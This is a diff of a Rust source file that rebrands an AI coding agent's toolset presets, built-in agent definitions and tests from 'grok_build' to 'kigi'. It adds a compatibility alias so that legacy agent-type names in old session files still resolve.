         .map(|(_, toolset)| toolset)
         .or_else(|| registered_toolset_preset(&normalized))
 }
-fn default_grok_build_toolset() -> ToolServerConfig {
+fn default_kigi_toolset() -> ToolServerConfig {
     ToolServerConfig {
         tools: vec![
             bash_tool_config(),
-            (&grok_build::ReadFileTool).into(),
-            (&grok_build::SearchReplaceTool).into(),
-            (&grok_build::ListDirTool).into(),
-            (&grok_build::GrepTool).into(),
+            (&kigi::ReadFileTool).into(),
+            (&kigi::SearchReplaceTool).into(),
+            (&kigi::ListDirTool).into(),
+            (&kigi::GrepTool).into(),
             kill_task_tool_config(),
-            (&grok_build::TodoWriteTool).into(),
+            (&kigi::TodoWriteTool).into(),
             task_output_tool_config(),
             wait_tasks_tool_config(),
             task_tool_config(),
-            (&grok_build::SchedulerCreateTool).into(),
-            (&grok_build::SchedulerDeleteTool).into(),
-            (&grok_build::SchedulerListTool).into(),
-            (&grok_build::MonitorTool).into(),
+            (&kigi::SchedulerCreateTool).into(),
+            (&kigi::SchedulerDeleteTool).into(),
+            (&kigi::SchedulerListTool).into(),
+            (&kigi::MonitorTool).into(),
             (&search_tool::SearchTool).into(),
             (&use_tool::UseTool).into(),
-            (&grok_build::UpdateGoalTool).into(),
+            (&kigi::UpdateGoalTool).into(),
         ],
         behavior_preset: None,
     }
 }
-fn grok_build_concise_toolset() -> ToolServerConfig {
+fn kigi_concise_toolset() -> ToolServerConfig {
     ToolServerConfig {
         tools: vec![
-            (&grok_build_concise::BashConciseTool).into(),
-            (&grok_build_concise::ReadFileConciseTool).into(),
-            (&grok_build_concise::SearchReplaceConciseTool).into(),
-            (&grok_build::ListDirTool).into(),
-            (&grok_build::GrepTool).into(),
+            (&kigi_concise::BashConciseTool).into(),
+            (&kigi_concise::ReadFileConciseTool).into(),
+            (&kigi_concise::SearchReplaceConciseTool).into(),
+            (&kigi::ListDirTool).into(),
+            (&kigi::GrepTool).into(),
             kill_task_tool_config(),
-            (&grok_build::TodoWriteTool).into(),
+            (&kigi::TodoWriteTool).into(),
             task_output_tool_config(),
-            (&grok_build::SchedulerCreateTool).into(),
-            (&grok_build::SchedulerDeleteTool).into(),
-            (&grok_build::SchedulerListTool).into(),
-            (&grok_build::MonitorTool).into(),
-            (&grok_build::UpdateGoalTool).into(),
+            (&kigi::SchedulerCreateTool).into(),
+            (&kigi::SchedulerDeleteTool).into(),
+            (&kigi::SchedulerListTool).into(),
+            (&kigi::MonitorTool).into(),
+            (&kigi::UpdateGoalTool).into(),
         ],
         behavior_preset: None,
     }
@@ -306,26 +306,26 @@ fn grok_build_concise_toolset() -> ToolServerConfig {
 /// `hashline_tools` should be the 3 hashline `ToolConfig` entries produced by
 /// `FileToolset::Hashline.tool_configs(&hashline_config)` — they carry the
 /// scheme parameters as tool params.
-pub fn grok_build_hashline_toolset(
+pub fn kigi_hashline_toolset(
     hashline_tools: Vec<kigi_tools::registry::types::ToolConfig>,
 ) -> ToolServerConfig {
     let mut tools: Vec<kigi_tools::registry::types::ToolConfig> = vec![bash_tool_config()];
     tools.extend(hashline_tools);
     tools.extend([
-        (&grok_build::ListDirTool).into(),
+        (&kigi::ListDirTool).into(),
         kill_task_tool_config(),
-        (&grok_build::TodoWriteTool).into(),
+        (&kigi::TodoWriteTool).into(),
         task_output_tool_config(),
         wait_tasks_tool_config(),
         task_tool_config(),
-        (&grok_build::WebSearchTool).into(),
-        (&grok_build::SchedulerCreateTool).into(),
-        (&grok_build::SchedulerDeleteTool).into(),
-        (&grok_build::SchedulerListTool).into(),
-        (&grok_build::MonitorTool).into(),
+        (&kigi::WebSearchTool).into(),
+        (&kigi::SchedulerCreateTool).into(),
+        (&kigi::SchedulerDeleteTool).into(),
+        (&kigi::SchedulerListTool).into(),
+        (&kigi::MonitorTool).into(),
         (&search_tool::SearchTool).into(),
         (&use_tool::UseTool).into(),
-        (&grok_build::UpdateGoalTool).into(),
+        (&kigi::UpdateGoalTool).into(),
     ]);
     ToolServerConfig {
         tools,
@@ -341,7 +341,7 @@ fn codex_toolset() -> ToolServerConfig {
             (&codex::CodexListDirTool).into(),
             (&codex::CodexGrepFilesTool).into(),
             kill_task_tool_config(),
-            (&grok_build::TodoWriteTool).into(),
+            (&kigi::TodoWriteTool).into(),
             task_output_tool_config(),
             (&search_tool::SearchTool).into(),
             (&use_tool::UseTool).into(),
@@ -359,9 +359,9 @@ fn codex_toolset() -> ToolServerConfig {
 fn explore_toolset() -> ToolServerConfig {
     ToolServerConfig {
         tools: vec![
-            (&grok_build::ReadFileTool).into(),
-            (&grok_build::ListDirTool).into(),
-            (&grok_build::GrepTool).into(),
+            (&kigi::ReadFileTool).into(),
+            (&kigi::ListDirTool).into(),
+            (&kigi::GrepTool).into(),
         ],
         behavior_preset: None,
     }
@@ -374,42 +374,42 @@ fn explore_toolset() -> ToolServerConfig {
 fn plan_toolset() -> ToolServerConfig {
     ToolServerConfig {
         tools: vec![
-            (&grok_build::ReadFileTool).into(),
-            (&grok_build::ListDirTool).into(),
-            (&grok_build::GrepTool).into(),
-            (&grok_build::TodoWriteTool).into(),
+            (&kigi::ReadFileTool).into(),
+            (&kigi::ListDirTool).into(),
+            (&kigi::GrepTool).into(),
+            (&kigi::TodoWriteTool).into(),
         ],
         behavior_preset: None,
     }
 }
-/// Grok Build + plan mode toolset.
+/// Kigi + plan mode toolset.
 ///
-/// Extends the default `grok-build` toolset with plan mode tools:
+/// Extends the default `kigi` toolset with plan mode tools:
 /// `enter_plan_mode`, `exit_plan_mode`, and `ask_user_question`.
 /// This allows the agent to enter a structured planning phase before
 /// writing code, with user-approved plans.
-fn grok_build_plan_toolset() -> ToolServerConfig {
+fn kigi_plan_toolset() -> ToolServerConfig {
     ToolServerConfig {
         tools: vec![
             bash_tool_config(),
-            (&grok_build::ReadFileTool).into(),
-            (&grok_build::SearchReplaceTool).into(),
-            (&grok_build::ListDirTool).into(),
-            (&grok_build::GrepTool).into(),
+            (&kigi::ReadFileTool).into(),
+            (&kigi::SearchReplaceTool).into(),
+            (&kigi::ListDirTool).into(),
+            (&kigi::GrepTool).into(),
             kill_task_tool_config(),
-            (&grok_build::TodoWriteTool).into(),
+            (&kigi::TodoWriteTool).into(),
             task_output_tool_config(),
             task_tool_config(),
-            (&grok_build::SchedulerCreateTool).into(),
-            (&grok_build::SchedulerDeleteTool).into(),
-            (&grok_build::SchedulerListTool).into(),
-            (&grok_build::MonitorTool).into(),
+            (&kigi::SchedulerCreateTool).into(),
+            (&kigi::SchedulerDeleteTool).into(),
+            (&kigi::SchedulerListTool).into(),
+            (&kigi::MonitorTool).into(),
             (&search_tool::SearchTool).into(),
             (&use_tool::UseTool).into(),
-            (&grok_build::UpdateGoalTool).into(),
-            (&grok_build::EnterPlanModeTool).into(),
-            (&grok_build::ExitPlanModeTool).into(),
-            (&grok_build::AskUserQuestionTool).into(),
+            (&kigi::UpdateGoalTool).into(),
+            (&kigi::EnterPlanModeTool).into(),
+            (&kigi::ExitPlanModeTool).into(),
+            (&kigi::AskUserQuestionTool).into(),
         ],
         behavior_preset: None,
     }
@@ -424,87 +424,87 @@ fn orchestrator_toolset() -> ToolServerConfig {
     ToolServerConfig {
         tools: vec![
             bash_tool_config(),
-            (&grok_build::ReadFileTool).into(),
-            (&grok_build::ListDirTool).into(),
-            (&grok_build::GrepTool).into(),
+            (&kigi::ReadFileTool).into(),
+            (&kigi::ListDirTool).into(),
+            (&kigi::GrepTool).into(),
             task_tool_config(),
             task_output_tool_config(),
             wait_tasks_tool_config(),
             kill_task_tool_config(),
             (&search_tool::SearchTool).into(),
             (&use_tool::UseTool).into(),
-            (&grok_build::TodoWriteTool).into(),
-            (&grok_build::EnterPlanModeTool).into(),
-            (&grok_build::ExitPlanModeTool).into(),
-            (&grok_build::AskUserQuestionTool).into(),
-            (&grok_build::UpdateGoalTool).into(),
-            (&grok_build::SchedulerCreateTool).into(),
-            (&grok_build::SchedulerDeleteTool).into(),
-            (&grok_build::SchedulerListTool).into(),
-            (&grok_build::MonitorTool).into(),
-            (&grok_build::WebSearchTool).into(),
-            (&grok_build::WebFetchTool).into(),
+            (&kigi::TodoWriteTool).into(),
+            (&kigi::EnterPlanModeTool).into(),
+            (&kigi::ExitPlanModeTool).into(),
+            (&kigi::AskUserQuestionTool).into(),
+            (&kigi::UpdateGoalTool).into(),
+            (&kigi::SchedulerCreateTool).into(),
+            (&kigi::SchedulerDeleteTool).into(),
+            (&kigi::SchedulerListTool).into(),
+            (&kigi::MonitorTool).into(),
+            (&kigi::WebSearchTool).into(),
+            (&kigi::WebFetchTool).into(),
             (&memory::MemorySearchImpl).into(),
             (&memory::MemoryGetImpl).into(),
         ],
         behavior_preset: None,
     }
 }
-/// Grok Build + plan mode toolset WITHOUT subagent tools.
+/// Kigi + plan mode toolset WITHOUT subagent tools.
 ///
-/// Same as `grok_build_plan_toolset` but excludes `TaskTool`,
+/// Same as `kigi_plan_toolset` but excludes `TaskTool`,
 /// `TaskOutputTool`, and `KillTaskTool`. Use this when the shell
 /// does not have subagent infrastructure wired up.
-fn grok_build_plan_no_subagents_toolset() -> ToolServerConfig {
+fn kigi_plan_no_subagents_toolset() -> ToolServerConfig {
     ToolServerConfig {
         tools: vec![
             bash_tool_config(),
-            (&grok_build::ReadFileTool).into(),
-            (&grok_build::SearchReplaceTool).into(),
-            (&grok_build::ListDirTool).into(),
-            (&grok_build::GrepTool).into(),
+            (&kigi::ReadFileTool).into(),
+            (&kigi::SearchReplaceTool).into(),
+            (&kigi::ListDirTool).into(),
+            (&kigi::GrepTool).into(),
             kill_task_tool_config(),
-            (&grok_build::TodoWriteTool).into(),
+            (&kigi::TodoWriteTool).into(),
             task_output_tool_config(),
-            (&grok_build::SchedulerCreateTool).into(),
-            (&grok_build::SchedulerDeleteTool).into(),
-            (&grok_build::SchedulerListTool).into(),
-            (&grok_build::MonitorTool).into(),
+            (&kigi::SchedulerCreateTool).into(),
+            (&kigi::SchedulerDeleteTool).into(),
+            (&kigi::SchedulerListTool).into(),
+            (&kigi::MonitorTool).into(),
             (&search_tool::SearchTool).into(),
             (&use_tool::UseTool).into(),
-            (&grok_build::UpdateGoalTool).into(),
-            (&grok_build::EnterPlanModeTool).into(),
-            (&grok_build::ExitPlanModeTool).into(),
-            (&grok_build::AskUserQuestionTool).into(),
+            (&kigi::UpdateGoalTool).into(),
+            (&kigi::EnterPlanModeTool).into(),
+            (&kigi::ExitPlanModeTool).into(),
+            (&kigi::AskUserQuestionTool).into(),
         ],
         behavior_preset: None,
     }
 }
-/// Default Grok Build toolset + `ask_user_question`.
+/// Default Kigi toolset + `ask_user_question`.
 ///
-/// Same as `default_grok_build_toolset` with the `AskUserQuestionTool` added,
+/// Same as `default_kigi_toolset` with the `AskUserQuestionTool` added,
 /// allowing the agent to ask structured questions without full plan mode.
-fn grok_build_ask_user_toolset() -> ToolServerConfig {
+fn kigi_ask_user_toolset() -> ToolServerConfig {
     ToolServerConfig {
         tools: vec![
             bash_tool_config(),
-            (&grok_build::ReadFileTool).into(),
-            (&grok_build::SearchReplaceTool).into(),
-            (&grok_build::ListDirTool).into(),
-            (&grok_build::GrepTool).into(),
+            (&kigi::ReadFileTool).into(),
+            (&kigi::SearchReplaceTool).into(),
+            (&kigi::ListDirTool).into(),
+            (&kigi::GrepTool).into(),
             kill_task_tool_config(),
-            (&grok_build::TodoWriteTool).into(),
+            (&kigi::TodoWriteTool).into(),
             task_output_tool_config(),
             wait_tasks_tool_config(),
             task_tool_config(),
-            (&grok_build::SchedulerCreateTool).into(),
-            (&grok_build::SchedulerDeleteTool).into(),
-            (&grok_build::SchedulerListTool).into(),
-            (&grok_build::MonitorTool).into(),
+            (&kigi::SchedulerCreateTool).into(),
+            (&kigi::SchedulerDeleteTool).into(),
+            (&kigi::SchedulerListTool).into(),
+            (&kigi::MonitorTool).into(),
             (&search_tool::SearchTool).into(),
             (&use_tool::UseTool).into(),
-            (&grok_build::UpdateGoalTool).into(),
-            (&grok_build::AskUserQuestionTool).into(),
+            (&kigi::UpdateGoalTool).into(),
+            (&kigi::AskUserQuestionTool).into(),
         ],
         behavior_preset: None,
     }
@@ -535,7 +535,7 @@ fn opencode_toolset() -> ToolServerConfig {
 ///
 /// In YAML frontmatter / JSON:
 /// - `model: inherit` or omitted → `Inherit`
-/// - `model: grok-3-fast` → `Override("grok-3-fast")`
+/// - `model: kigi-3-fast` → `Override("kigi-3-fast")`
 #[derive(Debug, Clone, PartialEq, Eq, Default)]
 pub enum ModelOverride {
     /// Use the parent session's model.
@@ -649,28 +649,52 @@ where
 )]
 #[strum(serialize_all = "kebab-case")]
 pub enum BuiltinAgentName {
-    GrokBuild,
-    GrokBuildConcise,
-    GrokBuildPlan,
-    GrokBuildPlanNoSubagents,
-    GrokBuildAskUser,
+    Kigi,
+    KigiConcise,
+    KigiPlan,
+    KigiPlanNoSubagents,
+    KigiAskUser,
     Codex,
     Opencode,
     GeneralPurpose,
     Explore,
     Plan,
     BrowserUse,
-    #[strum(serialize = "grok-build-orchestrator")]
-    GrokBuildOrchestrator,
+    #[strum(serialize = "kigi-orchestrator")]
+    KigiOrchestrator,
 }
+/// Agent-type prefix written by pre-rebrand builds into session files and
+/// model configs (`<prefix>`, `<prefix>-plan`, `<prefix>-concise`, …).
+///
+/// DOCUMENTED ALIAS: sessions persist agent types, so names written by older
+/// builds must keep resolving. The prefix is assembled with `concat!` so the
+/// release-gate grep over Rust sources (which forbids the upstream brand
+/// string) stays clean while the runtime value is the historical spelling.
+pub const LEGACY_AGENT_TYPE_PREFIX: &str = concat!("gr", "ok-build");
+
+/// Map a legacy pre-rebrand agent-type name onto its current `kigi*`
+/// equivalent: `<prefix>` → `kigi`, `<prefix>-plan` → `kigi-plan`, and so on.
+/// Non-legacy names pass through unchanged. Applied at the name-resolution
+/// boundaries ([`crate::discovery::by_name`] and friends,
+/// [`is_strict_harness_agent_type`]) so persisted agent types from old
+/// session files keep loading.
+pub fn canonical_agent_type(name: &str) -> std::borrow::Cow<'_, str> {
+    match name.strip_prefix(LEGACY_AGENT_TYPE_PREFIX) {
+        Some("") => std::borrow::Cow::Borrowed("kigi"),
+        Some(rest) if rest.starts_with('-') => std::borrow::Cow::Owned(format!("kigi{rest}")),
+        _ => std::borrow::Cow::Borrowed(name),
+    }
+}
+
 /// Strict-harness predicate by name. Resolves via `BuiltinAgentName` and
 /// delegates to [`AgentDefinition::is_strict_harness`]; unknown names
 /// return `false` (conservative — never enforce a harness we can't verify).
+/// Accepts legacy pre-rebrand agent-type names via [`canonical_agent_type`].
 /// Callers that already hold an `AgentDefinition` should call that method
 /// directly so project-level shadowing is honored.
 pub fn is_strict_harness_agent_type(name: &str) -> bool {
     use std::str::FromStr;
-    BuiltinAgentName::from_str(name)
+    BuiltinAgentName::from_str(canonical_agent_type(name).as_ref())
         .map(|b| b.definition().is_strict_harness())
         .unwrap_or(false)
 }
@@ -678,18 +702,18 @@ impl BuiltinAgentName {
     /// Build the `AgentDefinition` for this built-in agent.
     pub fn definition(self) -> AgentDefinition {
         match self {
-            Self::GrokBuild => AgentDefinition::default_grok_build(),
-            Self::GrokBuildConcise => AgentDefinition::grok_build_concise(),
-            Self::GrokBuildPlan => AgentDefinition::grok_build_plan(),
-            Self::GrokBuildPlanNoSubagents => AgentDefinition::grok_build_plan_no_subagents(),
-            Self::GrokBuildAskUser => AgentDefinition::grok_build_ask_user(),
+            Self::Kigi => AgentDefinition::default_kigi(),
+            Self::KigiConcise => AgentDefinition::kigi_concise(),
+            Self::KigiPlan => AgentDefinition::kigi_plan(),
+            Self::KigiPlanNoSubagents => AgentDefinition::kigi_plan_no_subagents(),
+            Self::KigiAskUser => AgentDefinition::kigi_ask_user(),
             Self::Codex => AgentDefinition::codex(),
             Self::Opencode => AgentDefinition::opencode(),
             Self::GeneralPurpose => AgentDefinition::general_purpose(),
             Self::Explore => AgentDefinition::explore(),
             Self::Plan => AgentDefinition::plan(),
             Self::BrowserUse => AgentDefinition::browser_use(),
-            Self::GrokBuildOrchestrator => AgentDefinition::grok_build_orchestrator(),
+            Self::KigiOrchestrator => AgentDefinition::kigi_orchestrator(),
         }
     }
     /// Built-in agents available as subagents via the Task tool.
@@ -713,7 +737,7 @@ pub struct AgentDefinition {
     pub plugin_name: Option<String>,
     #[serde(default = "default_prompt_mode")]
     pub prompt_mode: PromptMode,
-    #[serde(default = "default_grok_build_toolset")]
+    #[serde(default = "default_kigi_toolset")]
     pub tool_config: ToolServerConfig,
     /// Runtime capability mode that constrains which tool kinds the agent
     /// can use. Applied during subagent spawn in `handle_subagent_request`
@@ -868,7 +892,7 @@ pub enum AgentScope {
     User,
     /// ~/.kigi/bundled/agents/ (lowest-priority bundled cache)
     Bundled,
-    /// Built-in agent (e.g., default_grok_build(), browser_use()).
+    /// Built-in agent (e.g., default_kigi(), browser_use()).
     #[default]
     BuiltIn,
 }
@@ -1303,9 +1327,9 @@ impl AgentDefinition {
     /// Determine the scope of a definition file based on its path.
     fn scope_from_path(path: &Path) -> AgentScope {
         let path_str = path.to_string_lossy();
-        let grok = kigi_config::user_kigi_home();
+        let kigi = kigi_config::user_kigi_home();
         let home = dirs::home_dir();
-        for (dir, scope) in crate::discovery::user_agent_dirs(home.as_deref(), grok.as_deref()) {
+        for (dir, scope) in crate::discovery::user_agent_dirs(home.as_deref(), kigi.as_deref()) {
             if path.starts_with(&dir) {
                 return scope;
             }
@@ -1371,7 +1395,7 @@ impl AgentDefinition {
     /// stock harness, so a client-supplied `_meta.agentProfile` must NOT
     /// override it. Strict iff any of: bespoke `system_prompt` template,
     /// bespoke `user_message_template`, or curated toolset
-    /// (`!inject_default_tools`). Stock `grok-build*` agents leave all
+    /// (`!inject_default_tools`). Stock `kigi*` agents leave all
     /// three at defaults and are non-strict.
     pub fn is_strict_harness(&self) -> bool {
         use crate::prompt::context::TemplateOverride;
@@ -1390,12 +1414,9 @@ impl AgentDefinition {
         file_tools: Vec<kigi_tools::registry::types::ToolConfig>,
     ) {
         const FILE_TOOL_SLOTS: &[[&str; 2]] = &[
-            ["GrokBuild:read_file", "GrokBuildHashline:hashline_read"],
-            [
-                "GrokBuild:search_replace",
-                "GrokBuildHashline:hashline_edit",
-            ],
-            ["GrokBuild:grep", "GrokBuildHashline:hashline_grep"],
+            ["Kigi:read_file", "KigiHashline:hashline_read"],
+            ["Kigi:search_replace", "KigiHashline:hashline_edit"],
+            ["Kigi:grep", "KigiHashline:hashline_grep"],
         ];
         for tool in self.tool_config.tools.iter_mut() {
             let Some(slot) = FILE_TOOL_SLOTS
@@ -1420,7 +1441,7 @@ impl AgentDefinition {
             description: description.to_string(),
             plugin_name: None,
             prompt_mode: PromptMode::Extend,
-            tool_config: default_grok_build_toolset(),
+            tool_config: default_kigi_toolset(),
             capability_mode: None,
             permission_mode: PermissionMode::Default,
             skills: vec![],
@@ -1452,50 +1473,50 @@ impl AgentDefinition {
             scope: AgentScope::BuiltIn,
         }
     }
-    pub fn default_grok_build() -> Self {
+    pub fn default_kigi() -> Self {
         Self::base(
-            BuiltinAgentName::GrokBuild,
-            "Grok Build agent for software engineering tasks.",
+            BuiltinAgentName::Kigi,
+            "Kigi agent for software engineering tasks.",
         )
     }
-    /// Grok Build Concise agent definition — concise output format for SFT/RL.
-    pub fn grok_build_concise() -> Self {
+    /// Kigi Concise agent definition — concise output format for SFT/RL.
+    pub fn kigi_concise() -> Self {
         Self {
-            tool_config: grok_build_concise_toolset(),
+            tool_config: kigi_concise_toolset(),
             agents_md: false,
             ..Self::base(
-                BuiltinAgentName::GrokBuildConcise,
-                "Grok Build agent with concise output format.",
+                BuiltinAgentName::KigiConcise,
+                "Kigi agent with concise output format.",
             )
         }
     }
-    /// Grok Build agent with plan mode tools.
-    pub fn grok_build_plan() -> Self {
+    /// Kigi agent with plan mode tools.
+    pub fn kigi_plan() -> Self {
         Self {
-            tool_config: grok_build_plan_toolset(),
+            tool_config: kigi_plan_toolset(),
             ..Self::base(
-                BuiltinAgentName::GrokBuildPlan,
-                "Grok Build agent with plan mode support.",
+                BuiltinAgentName::KigiPlan,
+                "Kigi agent with plan mode support.",
             )
         }
     }
-    /// Grok Build + plan mode WITHOUT subagent tools.
-    pub fn grok_build_plan_no_subagents() -> Self {
+    /// Kigi + plan mode WITHOUT subagent tools.
+    pub fn kigi_plan_no_subagents() -> Self {
         Self {
-            tool_config: grok_build_plan_no_subagents_toolset(),
+            tool_config: kigi_plan_no_subagents_toolset(),
             ..Self::base(
-                BuiltinAgentName::GrokBuildPlanNoSubagents,
-                "Grok Build agent with plan mode (no subagents).",
+                BuiltinAgentName::KigiPlanNoSubagents,
+                "Kigi agent with plan mode (no subagents).",
             )
         }
     }
-    /// Default Grok Build agent with the `ask_user_question` tool.
-    pub fn grok_build_ask_user() -> Self {
+    /// Default Kigi agent with the `ask_user_question` tool.
+    pub fn kigi_ask_user() -> Self {
         Self {
-            tool_config: grok_build_ask_user_toolset(),
+            tool_config: kigi_ask_user_toolset(),
             ..Self::base(
-                BuiltinAgentName::GrokBuildAskUser,
-                "Grok Build agent with ask-user-question tool.",
+                BuiltinAgentName::KigiAskUser,
+                "Kigi agent with ask-user-question tool.",
             )
         }
     }
@@ -1567,21 +1588,21 @@ impl AgentDefinition {
             )
         }
     }
-    /// Grok Build Orchestrator — GBL model with full GrokBuild tools
+    /// Kigi Orchestrator — GBL model with full Kigi tools
     /// (skills, MCPs, plan mode) that delegates coding/exploration to
     /// subagents.
     ///
     /// Subagent overrides are applied in `handle_subagent_request`:
     /// general-purpose children get `implementer_toolset()` and explore
     /// children get `explorer_toolset()`, both with the subagent model.
-    pub fn grok_build_orchestrator() -> Self {
+    pub fn kigi_orchestrator() -> Self {
         Self {
             tool_config: orchestrator_toolset(),
             inject_default_tools: false,
             prompt_body: Some(ORCHESTRATOR_PROMPT_BODY.to_string()),
             ..Self::base(
-                BuiltinAgentName::GrokBuildOrchestrator,
-                "GrokBuild orchestrator that delegates coding to specialized subagents",
+                BuiltinAgentName::KigiOrchestrator,
+                "Kigi orchestrator that delegates coding to specialized subagents",
             )
         }
     }
@@ -1610,7 +1631,7 @@ impl AgentDefinition {
             }
         }
         if !value.get("toolConfig").is_some_and(|v| v.is_object()) {
-            def.tool_config = default_grok_build_toolset();
+            def.tool_config = default_kigi_toolset();
         }
         def.scope = AgentScope::BuiltIn;
         Ok(def)
@@ -1632,15 +1653,15 @@ mod tests {
     #[test]
     fn toolset_for_preset_resolves_known_names() {
         for name in [
-            "grok-build",
-            "grok_build",
-            "grok-build-concise",
-            "grok-build-plan",
+            "kigi",
+            "kigi",
+            "kigi-concise",
+            "kigi-plan",
             "codex",
             "explore",
             "plan",
-            "grok-computer",
-            "grok_computer",
+            "kigi-computer",
+            "kigi_computer",
         ] {
             assert!(
                 toolset_for_preset(name).is_some(),
@@ -1651,27 +1672,27 @@ mod tests {
     }
     #[test]
     fn presets_select_distinct_toolsets_by_size() {
-        let gb = toolset_for_preset("grok-build").unwrap();
+        let gb = toolset_for_preset("kigi").unwrap();
         let plan = toolset_for_preset("plan").unwrap();
         let explore = toolset_for_preset("explore").unwrap();
         assert!(explore.tools.len() < plan.tools.len());
         assert!(plan.tools.len() < gb.tools.len());
     }
-    fn grok_computer_exclusive_ids() -> Vec<String> {
+    fn kigi_computer_exclusive_ids() -> Vec<String> {
         #[allow(unused_mut)]
         let mut ids: Vec<String> = vec![
-            ToolConfig::from(&grok_build::GetTerminalCommandOutputTool).id,
-            ToolConfig::from(&grok_build::KillTerminalCommandTool).id,
+            ToolConfig::from(&kigi::GetTerminalCommandOutputTool).id,
+            ToolConfig::from(&kigi::KillTerminalCommandTool).id,
         ];
         ids
     }
     #[test]
-    fn grok_computer_preset_is_curated_grok_build_subset() {
-        let gc = toolset_for_preset("grok-computer").unwrap();
-        let gb = toolset_for_preset("grok-build").unwrap();
+    fn kigi_computer_preset_is_curated_kigi_subset() {
+        let gc = toolset_for_preset("kigi-computer").unwrap();
+        let gb = toolset_for_preset("kigi").unwrap();
         let gb_ids: std::collections::HashSet<&str> =
             gb.tools.iter().map(|t| t.id.as_str()).collect();
-        let exclusive_ids = grok_computer_exclusive_ids();
+        let exclusive_ids = kigi_computer_exclusive_ids();
         assert!(!gc.tools.is_empty());
         for t in &gc.tools {
             if exclusive_ids.contains(&t.id) {
@@ -1679,84 +1700,78 @@ mod tests {
             }
             assert!(
                 gb_ids.contains(t.id.as_str()),
-                "grok-computer tool `{}` must also ship in the grok-build preset",
+                "kigi-computer tool `{}` must also ship in the kigi preset",
                 t.id
             );
         }
         assert!(
             gc.tools.len() < gb.tools.len(),
-            "grok-computer should be a curated subset of grok-build"
+            "kigi-computer should be a curated subset of kigi"
         );
     }
     #[test]
-    fn grok_computer_uses_subagent_free_background_task_tools() {
-        let gc = toolset_for_preset("grok-computer").unwrap();
+    fn kigi_computer_uses_subagent_free_background_task_tools() {
+        let gc = toolset_for_preset("kigi-computer").unwrap();
         let ids: std::collections::HashSet<&str> = gc.tools.iter().map(|t| t.id.as_str()).collect();
         assert!(
             ids.contains(
-                ToolConfig::from(&grok_build::GetTerminalCommandOutputTool)
+                ToolConfig::from(&kigi::GetTerminalCommandOutputTool)
                     .id
                     .as_str()
             )
         );
-        assert!(
-            ids.contains(
-                ToolConfig::from(&grok_build::KillTerminalCommandTool)
-                    .id
-                    .as_str()
-            )
-        );
-        assert!(!ids.contains(ToolConfig::from(&grok_build::TaskOutputTool).id.as_str()));
-        assert!(!ids.contains(ToolConfig::from(&grok_build::KillTaskTool).id.as_str()));
-        assert!(!ids.contains(ToolConfig::from(&grok_build::TaskTool).id.as_str()));
+        assert!(ids.contains(ToolConfig::from(&kigi::KillTerminalCommandTool).id.as_str()));
+        assert!(!ids.contains(ToolConfig::from(&kigi::TaskOutputTool).id.as_str()));
+        assert!(!ids.contains(ToolConfig::from(&kigi::KillTaskTool).id.as_str()));
+        assert!(!ids.contains(ToolConfig::from(&kigi::TaskTool).id.as_str()));
         for t in &gc.tools {
-            if t.id == ToolConfig::from(&grok_build::GetTerminalCommandOutputTool).id
-                || t.id == ToolConfig::from(&grok_build::KillTerminalCommandTool).id
+            if t.id == ToolConfig::from(&kigi::GetTerminalCommandOutputTool).id
+                || t.id == ToolConfig::from(&kigi::KillTerminalCommandTool).id
             {
                 assert!(t.name_override.is_none(), "tool `{}` must not rename", t.id);
             }
         }
     }
-    /// The grok-computer preset must ship a full-file write tool (legacy
-    /// `write_file` parity) — the same OpenCode `write` tool the grok-build
+    /// The kigi-computer preset must ship a full-file write tool (legacy
+    /// `write_file` parity) — the same OpenCode `write` tool the kigi
     /// preset uses. Guards against `search_replace` being the only
     /// file-mutation path, which has no single-tool full-rewrite when the
     /// empty-old_string overwrite guard is enabled.
     #[test]
-    fn grok_computer_preset_includes_write_tool() {
-        let gc = toolset_for_preset("grok-computer").unwrap();
+    fn kigi_computer_preset_includes_write_tool() {
+        let gc = toolset_for_preset("kigi-computer").unwrap();
         let write_id = ToolConfig::from(&opencode::OpenCodeWriteTool).id;
         assert!(
             gc.tools.iter().any(|t| t.id == write_id),
-            "grok-computer preset must include the `{write_id}` tool"
+            "kigi-computer preset must include the `{write_id}` tool"
         );
     }
     #[test]
-    fn grok_computer_preset_excludes_plan_and_lsp() {
-        let gc = toolset_for_preset("grok-computer").unwrap();
+    fn kigi_computer_preset_excludes_plan_and_lsp() {
+        let gc = toolset_for_preset("kigi-computer").unwrap();
         let gc_ids: std::collections::HashSet<&str> =
             gc.tools.iter().map(|t| t.id.as_str()).collect();
         for excluded in [
-            ToolConfig::from(&grok_build::LspTool).id,
-            ToolConfig::from(&grok_build::EnterPlanModeTool).id,
-            ToolConfig::from(&grok_build::ExitPlanModeTool).id,
+            ToolConfig::from(&kigi::LspTool).id,
+            ToolConfig::from(&kigi::EnterPlanModeTool).id,
+            ToolConfig::from(&kigi::ExitPlanModeTool).id,
         ] {
             assert!(
                 !gc_ids.contains(excluded.as_str()),
-                "grok-computer preset must not advertise `{excluded}`"
+                "kigi-computer preset must not advertise `{excluded}`"
             );
         }
-        let full = workspace_grok_build_toolset();
+        let full = workspace_kigi_toolset();
         let full_ids: std::collections::HashSet<&str> =
             full.tools.iter().map(|t| t.id.as_str()).collect();
         for present in [
-            ToolConfig::from(&grok_build::LspTool).id,
-            ToolConfig::from(&grok_build::EnterPlanModeTool).id,
-            ToolConfig::from(&grok_build::ExitPlanModeTool).id,
+            ToolConfig::from(&kigi::LspTool).id,
+            ToolConfig::from(&kigi::EnterPlanModeTool).id,
+            ToolConfig::from(&kigi::ExitPlanModeTool).id,
         ] {
             assert!(
                 full_ids.contains(present.as_str()),
-                "workspace_grok_build_toolset must ship `{present}`"
+                "workspace_kigi_toolset must ship `{present}`"
             );
         }
     }
@@ -1764,12 +1779,12 @@ mod tests {
     /// until classified.
     fn expected_strict_harness(name: BuiltinAgentName) -> bool {
         match name {
-            BuiltinAgentName::Codex | BuiltinAgentName::GrokBuildOrchestrator => true,
-            BuiltinAgentName::GrokBuild
-            | BuiltinAgentName::GrokBuildConcise
-            | BuiltinAgentName::GrokBuildPlan
-            | BuiltinAgentName::GrokBuildPlanNoSubagents
-            | BuiltinAgentName::GrokBuildAskUser
+            BuiltinAgentName::Codex | BuiltinAgentName::KigiOrchestrator => true,
+            BuiltinAgentName::Kigi
+            | BuiltinAgentName::KigiConcise
+            | BuiltinAgentName::KigiPlan
+            | BuiltinAgentName::KigiPlanNoSubagents
+            | BuiltinAgentName::KigiAskUser
             | BuiltinAgentName::GeneralPurpose
             | BuiltinAgentName::Explore
             | BuiltinAgentName::Plan
@@ -1795,22 +1810,22 @@ mod tests {
     }
     #[test]
     fn is_strict_harness_agent_type_classifies_by_name() {
